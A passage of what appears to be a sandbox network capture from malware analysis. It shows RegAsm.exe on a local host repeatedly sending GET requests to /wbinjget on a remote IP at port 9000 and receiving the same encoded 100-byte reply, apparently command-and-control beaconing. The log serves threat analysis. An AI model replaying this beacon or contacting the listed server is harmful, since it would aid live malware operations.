Oct 19, 2024 03:39:49.140492916 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:48 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	50114	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:49.248951912 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:50.159658909 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:49 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	50115	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:50.280059099 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:51.158881903 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:50 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	50116	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:51.280950069 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:56.194658995 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:55 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	50117	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:56.311311960 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:58.240706921 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:58 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	50118	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:58.421122074 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:59.297957897 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:59 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	50119	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:59.420980930 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:40:00.394160032 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:59 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=
Oct 19, 2024 03:40:00.500284910 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:59 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	50120	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:00.514568090 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:40:01.427714109 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:01 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	50121	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:01.545814991 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:40:02.433887959 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:02 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	50122	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:02.546442986 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:03.443548918 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:02 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	50123	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:03.639976978 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:40:04.540527105 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:04 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	50124	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:04.655044079 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:05.750730991 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:04 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=
Oct 19, 2024 03:40:05.750861883 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:04 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	50125	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:05.860429049 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:06.749675035 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:06 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	50126	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:07.084067106 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:08.747456074 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:07 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	50127	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:08.859409094 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:10.679651022 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:09 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=
Oct 19, 2024 03:40:10.679781914 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:09 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=
Oct 19, 2024 03:40:10.679800034 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:09 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=
Oct 19, 2024 03:40:10.679874897 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:09 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	50128	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:10.795850992 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:11.687480927 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:10 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	50129	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:11.796327114 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
